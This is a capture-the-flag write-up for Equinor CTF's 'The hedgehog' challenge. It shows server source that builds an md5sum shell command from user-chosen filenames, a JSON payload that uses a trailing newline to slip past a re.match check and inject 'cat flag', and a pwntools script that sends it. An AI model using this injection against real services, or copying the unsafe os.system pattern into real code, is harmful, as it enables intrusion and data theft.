# Equinor CTF
## Misc The hedgehog
The task was supposedly to reverse a hash (no you can't).
*If all hashes are supposed to be unique, can't you just reverse them?*
We got a link to the challenge server, and the actual source code.

nc io.ept.gg 30047

#!/usr/bin/env python3
import re
import os
import json


def quit(msg):
    print('Anta baka!', msg)
    exit()


def system(cmd):
    print('-'*100)
    os.system(cmd)
    print('-'*100)
    print()


print('Welcome!')
print()
print('So I found this new cool tool called md5sum which allows you to calculate the MD5 hash of any file!')
print('The hash is supposed to be pretty unique and depend on the content. So I guess that would mean given')
print('the hash you should be able to get the content back, right?')
print()
print('I could not figure this out for myself, but maybe you can help. In good faith I have provided you')
print('with some files you can try and play with to see if you read the content:')
system('ls')
print("Here, I'll even open a couple of files for you so that you can compare the content to reverse the")
print("hash or something:")
print('fire:')
system('cat fire')
print('letter:')
system('cat letter')
print('goodguy:')
system('cat goodguy')
print()

files = json.loads(input('Enter files to hash: '))
if type(files) != list or not files:
    quit('This is not a list of files!')
for file in files:
    if type(file) != str:
        quit('This is not a string!')
    if not re.match('^[a-z]+$', file):
        quit("Don't you dare look forward!")

system('md5sum ' + ' '.join(files))

The re.match is the key, as re.match will be matched, even if you add a linebreak, also that's the only input where we have control.
a json input that looks like this:

["flag\\n", "cat", "flag"]

Will pass all checks, and sent to system as:

system('md5sum flag\ncat flag')

Final solution and flag:

from pwn import *
context.log_level = 'debug'
conn = remote("io.ept.gg", 30047)
conn.recvuntil("Enter files to hash:")
conn.sendline('["flag\\n", "cat", "flag"]')
conn.recvrepeat(1)

`EPT{4h_ye5_th3_tw3n7y_5ev3nth_ch4ract3r_0f_7he_4lph4bet}`